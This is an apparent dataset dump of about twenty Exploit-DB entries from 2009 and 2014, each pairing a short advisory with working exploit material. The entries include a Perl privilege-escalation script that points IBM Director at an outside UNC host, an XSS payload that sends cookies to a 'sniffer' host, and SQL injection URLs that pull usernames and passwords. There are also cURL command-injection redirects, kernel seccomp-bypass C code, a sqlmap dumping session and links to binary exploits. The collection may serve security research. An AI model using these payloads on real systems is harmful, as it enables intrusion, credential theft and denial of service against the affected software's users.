QLWD/code_shield huggingface dataset:
标题: IBM System Director Agent 5.20 - CIM Server Privilege Escalation EDB-ID: 32845 CVE: 2009-0880 类型: LOCAL 平台: WINDOWS 发布日期: 2009-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/34065/info

IBM Director is prone to a privilege-escalation vulnerability that affects the CIM server.

Attackers can leverage this issue to execute arbitrary code with elevated privileges in the context of the CIM server process.

Versions prior to IBM Director 5.20.3 Service Update 2 are affected. 

use IO::Socket;
#1st argument: target host
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "6988",
                                 Proto    => 'tcp');
$payload =
qq{<?xml version="1.0" encoding="utf-8" ?>
<CIM CIMVERSION="2.0" DTDVERSION="2.0">
 <MESSAGE ID="1007" PROTOCOLVERSION="1.0">
  <SIMPLEEXPREQ>
    <EXPMETHODCALL NAME="ExportIndication">
     <EXPPARAMVALUE NAME="NewIndication">
      <INSTANCE CLASSNAME="CIM_AlertIndication" >
        <PROPERTY NAME="Description" TYPE="string">
          <VALUE>Sample CIM_AlertIndication indication</VALUE>
        </PROPERTY>
        <PROPERTY NAME="AlertType" TYPE="uint16">
          <VALUE>1</VALUE>
        </PROPERTY>
        <PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
          <VALUE>3</VALUE>
        </PROPERTY>
        <PROPERTY NAME="ProbableCause" TYPE="uint16">
          <VALUE>2</VALUE>
        </PROPERTY>
        <PROPERTY NAME="IndicationTime" TYPE="datetime">
          <VALUE>20010515104354.000000:000</VALUE>
        </PROPERTY>
      </INSTANCE>
    </EXPPARAMVALUE>
  </EXPMETHODCALL>
 </SIMPLEEXPREQ>
 </MESSAGE>
</CIM>};
$req =
"M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Content-Type: application/xml; charset=utf-8\r\n"
."Content-Length: ". length($payload) ."\r\n"
."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n"
."CIMOperation: MethodCall\r\n"
."CIMExport: MethodRequest\r\n"
."CIMExportMethod: ExportIndication\r\n\r\n";
print $sock $req . $payload;

while(<$sock>) {
 print;
} URL: https://www.exploit-db.com/exploits/32845
标题: Mozilla Firefox 2.0.x - Nested 'window.print()' Denial of Service EDB-ID: 32836 CVE: 2009-0821 类型: DOS 平台: MULTIPLE 发布日期: 2009-03-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/33969/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

Firefox 2.0.0.20 is vulnerable; other versions may also be affected.

<HTML><TITLE>FireFox Print() Function Malform input Crash</TITLE><BODY> <p1>--------------In The Name Of God---------------<br> <p1>---------Apa Center Of Yazd University---------<br> <p1>-------------Http://Www.Ircert.Cc--------------<br> <br>Tested On : FireFox <= 2.0.0.20 Fully Update <br>Note : If the browser alert for print choose cancel <br> <br>Author : b3hz4d (Seyed Behzad Shaghasemi) <br>Site : Www.DeltaHacking.Net <br>Date : 3 Mar 2009 <br>Contact: behzad_sh_66@yahoo.com <br>Special Thanks To : Str0ke, Dr.trojan, Cru3l.b0y, PLATEN, Bl4ck.Viper, Irsdl And all Iranian hackers </p1><br><br> <form> <input type="button" value="bo0o0o0om" onClick="window.print(window.print())" /> </form> </BODY></HTML> URL: https://www.exploit-db.com/exploits/32836
标题: cURL/libcURL 7.19.3 - HTTP 'Location:' Redirect Security Bypass EDB-ID: 32834 CVE: 2009-0037 类型: REMOTE 平台: LINUX 发布日期: 2009-03-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/33962/info

cURL/libcURL is prone to a security-bypass vulnerability.

Remote attackers can exploit this issue to bypass certain security restrictions and carry out various attacks.

This issue affects cURL/libcURL 5.11 through 7.19.3. Other versions may also be vulnerable.

The following example redirection request may be used to carry out this attack:
Location: scp://name:passwd@host/a'``;date >/tmp/test``;' URL: https://www.exploit-db.com/exploits/32834
标题: Blogsa 1.0 - 'Widgets.aspx' Cross-Site Scripting EDB-ID: 32833 CVE: 2009-0814 类型: WEBAPPS 平台: ASP 发布日期: 2009-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/33957/info

Blogsa is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Blogsa 1.0 Beta 3 is vulnerable; other versions may also be affected.

http://www.example.com/Widgets.aspx?w=Search&p=do&searchText=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/32833
标题: djbdns 1.05 - Long Response Packet Remote Cache Poisoning EDB-ID: 32825 CVE: 2009-0858 类型: REMOTE 平台: LINUX 发布日期: 2009-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/33937/info

The 'djbdns' package is prone to a remote cache-poisoning vulnerability.

An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks.

This issue affects djbdns 1.05; other versions may also be vulnerable.

# Download and build ucspi-tcp-0.88.
$ curl -O http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz
$ tar -zxf ucspi-tcp-0.88.tar.gz
$ echo 'gcc -include /usr/include/errno.h -O' > ucspi-tcp-0.88/conf-cc
$ make -C ucspi-tcp-0.88

# Download and build djbdns-1.05.
$ curl -O http://cr.yp.to/djbdns/djbdns-1.05.tar.gz
$ tar -zxf djbdns-1.05.tar.gz
$ echo 'gcc -include /usr/include/errno.h -O' > djbdns-1.05/conf-cc
$ make -C djbdns-1.05

# Use tcpclient and axfr-get to do a zone transfer for
# www.example.com from www.example2.com.
$ ./ucspi-tcp-0.88/tcpclient www.example.com 53 ./djbdns-1.05/axfr-get www.example.com data data.tmp

# Use tinydns-data to compile data into data.cdb.
$ ./djbdns-1.05/tinydns-data

# Simulate an A query for www.example.com using the data
# from the zone transfer.
$ ./djbdns-1.05/tinydns-get a www.example.com URL: https://www.exploit-db.com/exploits/32825
标题: CubeCart 5.2.8 - Session Fixation EDB-ID: 32830 CVE: 2014-2341 类型: WEBAPPS 平台: PHP 发布日期: 2014-04-13 漏洞利用脚本: # Exploit Title:     CubeCart 5.2.8 Session Fixation
# Exploit Author:    James Sibley (absane)
# Blog:              http://www.pentester.co
# Download link:     http://www.cubecart.com/download/5.2.8/zip
# Discovery date:    March 14th, 2014
# Vendor notified:   March 15th, 2014
# Vendor fixed:      April 10th, 2014
# Vendor ack:        http://forums.cubecart.com/topic/48427-cubecart-529-relased/
# CVE assignment:    CVE-2014-2341

CubeCart 5.2.8 is vulnerable to a session fixation vulnerability.

The only protection offered is via the User-Agent header field, which can spoofed to match the victim.

=======================
=Proof of Concept.....=
=======================

*Set the User-Agent for both attacker and victim: 
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)

*To attack a customer:
Victim visits: http://[CubeCart Site]/index.php?PHPSESSID=1337

*To attack an administrator:
Victim visits: http://[CubeCart Site]/admin.php?PHPSESSID=1337

When the victim logs in, the attacker can visit the same link (using the same User-Agent) and hijack the victim's session.

=======================
=Cause................=
=======================

The PHPSESSID parameter is not ignored and allows an attacker to specify their own session id.

The code handling login procedures do not generate new sessions upon successful authentication. 

=======================
=Mitigation...........=
=======================

Upgrade to CubeCart >= 5.2.9

If upgrading is not an option, here is a hackish workaround for the session fixation vulnerability:

In admin.class.php add this at line 324:
$GLOBALS['session']->restart();

In user.class.php add this at line 227:
$GLOBALS['session']->restart(); URL: https://www.exploit-db.com/exploits/32830
标题: Irokez Blog 0.7.3.2 - Multiple Input Validation Vulnerabilities EDB-ID: 32823 CVE: 2006-6771 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/33931/info

Irokez Blog is prone to multiple input-validation vulnerabilities:

- A cross-site scripting issue
- An SQL-injection issue
- Multiple remote file-include issues

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Irokez Blog 0.7.3.2 is vulnerable; other versions may also be affected. 

<script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script>
http://www.example.com/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1)) between 100 and '115
http://www.example.com/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1))='114

http://www.example.com/modules/tml/block.tag.php?GLOBALS[PTH][classes]=[include]
http://www.example.com/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=[include]
http://www.example.com/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=[include]
http://www.example.com/spaw/spaw_control.class.php?GLOBALS[spaw_root]=[include] URL: https://www.exploit-db.com/exploits/32823
标题: Linux Kernel 2.6.x - 'seccomp' System Call Security Bypass EDB-ID: 32829 CVE: 2009-0835 类型: LOCAL 平台: LINUX 发布日期: 2009-03-02 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/33948/info

The Linux kernel is prone to a local security-bypass vulnerability.

A local attacker may be able to exploit this issue to bypass access control and make restricted system calls, which may result in an elevation of privileges. 
*/

 /* test case for seccomp circumvention on x86-64
    There are two failure modes: compile with -m64 or compile with -m32.

    The -m64 case is the worst one, because it does "chmod 777 ." (could
    be any chmod call).  The -m32 case demonstrates it was able to do
    stat(), which can glean information but not harm anything directly.

    A buggy kernel will let the test do something, print, and exit 1; a
    fixed kernel will make it exit with SIGKILL before it does anything.
 */

 #define _GNU_SOURCE
 #include <assert.h>
 #include <inttypes.h>
 #include <stdio.h>
 #include <linux/prctl.h>
 #include <sys/stat.h>
 #include <unistd.h>
 #include <asm/unistd.h>

 int
 main (int argc, char **argv)
 {
   char buf[100];
   static const char dot[] = ".";
   long ret;
   unsigned st[24];
   if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
     perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
 #ifdef __x86_64__
   assert ((uintptr_t) dot < (1UL << 32));
   asm ("int $0x80 # %0 <- %1(%2 %3)"
        : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
   ret = snprintf (buf, sizeof buf,
     "result %ld (check mode on .!)\n", ret);
 #elif defined __i386__
   asm (".code32\n"
        "pushl %%cs\n"
        "pushl $2f\n"
        "ljmpl $0x33, $1f\n"
        ".code64\n"
        "1: syscall # %0 <- %1(%2 %3)\n"
        "lretl\n"
        ".code32\n"
        "2:"
        : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
   if (ret == 0)
     ret = snprintf (buf, sizeof buf,
       "stat . -> st_uid=%u\n", st[7]);
   else
     ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
 #else
 # error "not this one"
 #endif
   write (1, buf, ret);

   syscall (__NR_exit, 1);
   return 2;
 } URL: https://www.exploit-db.com/exploits/32829
标题: OpenSC 0.11.x - PKCS#11 Implementation Unauthorized Access EDB-ID: 32820 CVE: 2009-0368 类型: LOCAL 平台: LINUX 发布日期: 2009-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/33922/info

OpenSC is prone to an unauthorized-access vulnerability.

Attackers can exploit this issue to gain unauthorized access to private data, which may lead to other attacks.

Versions prior to OpenSC 0.11.7 are vulnerable. 

The following proof of concept is available:

create a file with a secret:
echo "This is my secret data" > secret-file

To initialise a blank card:
pkcs15-init --create-pkcs15 --use-default-transport-keys --profile pkcs15+onepin --pin 123456 --puk 78907890

To write a private data object to the card:
pkcs11-tool --label "my secret" --type data --write-object secret-file
--private --login --pin 12345

To see all objects on the card:
pkcs15-tool --dump
This will list the data object, including the path it is stored, e.g.:
"Path: 3f0050154701"

To access such an object with low-level tools:

opensc-explorer
cd 5015
get 4701 URL: https://www.exploit-db.com/exploits/32820
标题: Apple Safari 4 - 'feeds:' URI Null Pointer Dereference Remote Denial of Service EDB-ID: 32817 CVE: 2009-0744 类型: DOS 平台: OSX 发布日期: 2009-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/33909/info

Apple Safari is prone to a denial-of-service vulnerability that stems from a NULL-pointer dereference.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Apple Safari 4 Beta is vulnerable; other versions may also be affected. 

The following example URIs are available:

feeds:%&www.example.com/feed/
feeds:{&www.example.com/feed/
feeds:}&www.example.com/feed/
feeds:^&www.example.com/feed/
feeds:`&www.example.com/feed/
feeds:|&www.example.com/feed/ URL: https://www.exploit-db.com/exploits/32817
标题: Magento 1.2 - 'downloader/index.php' Cross-Site Scripting EDB-ID: 32810 CVE: 2009-0541 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/33872/info
  
Magento is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
  
Magento 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/downloader/?return=%22%3Cscript%3Ealert('xss')%3C/script%3E URL: https://www.exploit-db.com/exploits/32810
标题: Sendy 1.1.9.1 - SQL Injection EDB-ID: 32814 CVE: 2014-100011 类型: WEBAPPS 平台: PHP 发布日期: 2014-04-11 漏洞利用脚本: # Exploit Title: Sendy 1.1.9.1 - SQL Injection Vulnerability
# Date: 2014-04-10
# Exploit Author: marduk369
# Vendor Homepage: http://sendy.co/
# Software Link: http://sendy.co/
# Version: 1.1.9.1

root@kali:~# sqlmap -u 'http://server1/send-to?i=1&c=10' --cookie="version=1.1.9.1; PHPSESSID=[phpsessid value]; logged_in=[logged_in value]" -p c -D sendy --tables

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:48:57

[11:48:57] [INFO] resuming back-end DBMS 'mysql' 
[11:48:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: c
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: c=10 AND SLEEP(5)&i=1
---
[11:48:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.11
[11:48:58] [INFO] fetching tables for database: 'sendy'
[11:48:58] [INFO] fetching number of tables for database 'sendy'
[11:48:58] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[11:49:50] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors 
[11:50:31] [INFO] adjusting time delay to 3 seconds due to good response times
9
[11:50:33] [INFO] retrieved: ap
[11:53:39] [ERROR] invalid character detected. retrying..
[11:53:39] [WARNING] increasing time delay to 4 seconds 
ps
[11:56:31] [INFO] retrieved: ares
[12:00:00] [INFO] retrieved: ares_emails
[12:08:38] [INFO] retrieved: campaigns
[12:18:08] [INFO] retrieved: links
[12:24:28] [ERROR] invalid character detected. retrying..
[12:24:28] [WARNING] increasing time delay to 5 seconds 

[12:24:31] [INFO] retrieved: lists
[12:29:49] [INFO] retrieved: login
[12:36:33] [ERROR] invalid character detected. retrying..
[12:36:33] [WARNING] increasing time delay to 6 seconds 

[12:36:37] [INFO] retrieved: queue
[12:43:51] [INFO] retrieved: subscribers
Database: sendy
[9 tables]
+-------------+
| apps        |
| ares        |
| ares_emails |
| campaigns   |
| links       |
| lists       |
| login       |
| queue       |
| subscribers |
+-------------+

[13:00:16] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/server1'

[*] shutting down at 13:00:16 URL: https://www.exploit-db.com/exploits/32814
标题: Linux Kernel 2.6.x - Cloned Process 'CLONE_PARENT' Local Origin Validation EDB-ID: 32815 CVE: 2009-0028 类型: DOS 平台: LINUX 发布日期: 2009-02-25 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/33906/info

The Linux kernel is prone to an origin-validation weakness when dealing with signal handling.

This weakness occurs when a privileged process calls attacker-supplied processes as children. Attackers may exploit this to send arbitrary signals to the privileged parent process.

A local attacker may exploit this issue to kill vulnerable processes, resulting in a denial-of-service condition. In some cases, other attacks may also be possible.

Linux kernel 2.6.28 is vulnerable; other versions may also be affected. 
*/

#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

static int the_child(void* arg) {
  sleep(1);
  _exit(2);
}

int main(int argc, const char* argv[]) {
  int ret = fork();
  if (ret < 0)
  {
    perror("fork");
    _exit(1);
  }
  else if (ret > 0)
  {
    for (;;);
  }
  setgid(99);
  setuid(65534);
  {
    int status;
    char* stack = malloc(4096);
    int flags = SIGKILL | CLONE_PARENT;
    int child = clone(the_child, stack + 4096, flags, NULL);
  }
  _exit(100);
} URL: https://www.exploit-db.com/exploits/32815
标题: Adobe Flash Player 9/10 - Invalid Object Reference Remote Code Execution EDB-ID: 32811 CVE: 2009-0520 类型: REMOTE 平台: UNIX 发布日期: 2009-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/33880/info

Adobe Flash Player is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the application. Failed exploit attempts will likely crash the application, denying service to legitimate users.

Versions prior to Flash Player 10.0.12.36 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32811.rar URL: https://www.exploit-db.com/exploits/32811
标题: Joomla! / Mambo Component gigCalendar 1.0 - 'banddetails.php' SQL Injection EDB-ID: 32807 CVE: 2009-0730 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/33859/info

The gigCalendar component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

gigCalendar 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/path/index.php?option=com_gigcal&task=details&gigcal_bands_id=-1'
UNION ALL SELECT 1,2,3,4,5,concat('username: ', username),concat('password: ', password),NULL,NULL,NULL,NULL,NULL,NULL from jos_users%23 URL: https://www.exploit-db.com/exploits/32807
标题: Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting EDB-ID: 32808 CVE: 2009-0541 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/33872/info

Magento is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

Magento 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/admin/
Username: "><script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/32808
标题: Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting EDB-ID: 32809 CVE: 2009-0541 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/33872/info
 
Magento is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
 
Magento 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/admin/index/forgotpassword/
Email address: "><script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/32809
标题: Linux Kernel 2.6.x - 'sock.c' SO_BSDCOMPAT Option Information Disclosure EDB-ID: 32805 CVE: 2009-0676 类型: LOCAL 平台: LINUX 发布日期: 2009-02-20 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/33846/info

The Linux Kernel is prone to an information-disclosure vulnerability because it fails to properly initialize certain memory before using using it in a user-accessible operation.

Successful exploits will allow attackers to view portions of kernel memory. Information harvested may be used in further attacks.

Versions prior to Linux Kernel 2.6.28.8 are vulnerable.
*/


int main(void)
    {
     unsigned char buf[4] = { 0, 0, 0, 0 };
     int len;
     int sock;
     sock = socket(33, 2, 2);
     getsockopt(sock, 1, SO_BSDCOMPAT, &buf, &len);
     printf("%x%x%x%x\n", buf[0], buf[1], buf[2], buf[3]);
     close(sock);
    } URL: https://www.exploit-db.com/exploits/32805
标题: A4Desk Event Calendar - 'eventid' SQL Injection EDB-ID: 32803 CVE: 2008-6104 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/33835/info

A4Desk Event Calendar is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/[path]/admin/index.php?eventid=-1+union+all+select+1,concat_ws(version(),0x3a,database(),0x3a,user()),3,4,5,6-- URL: https://www.exploit-db.com/exploits/32803
标题: Poppler 0.10.3 - Denial of Service EDB-ID: 32800 CVE: 2009-0756 2009-0755 类型: DOS 平台: LINUX 发布日期: 2009-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/33749/info

Poppler is prone to multiple denial-of-service vulnerabilities when handling malformed PDF files.

Successfully exploiting this issue allows remote attackers to crash applications that use the vulnerable library, denying service to legitimate users.

These issues affect versions prior to Poppler 0.10.4.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32800.pdf URL: https://www.exploit-db.com/exploits/32800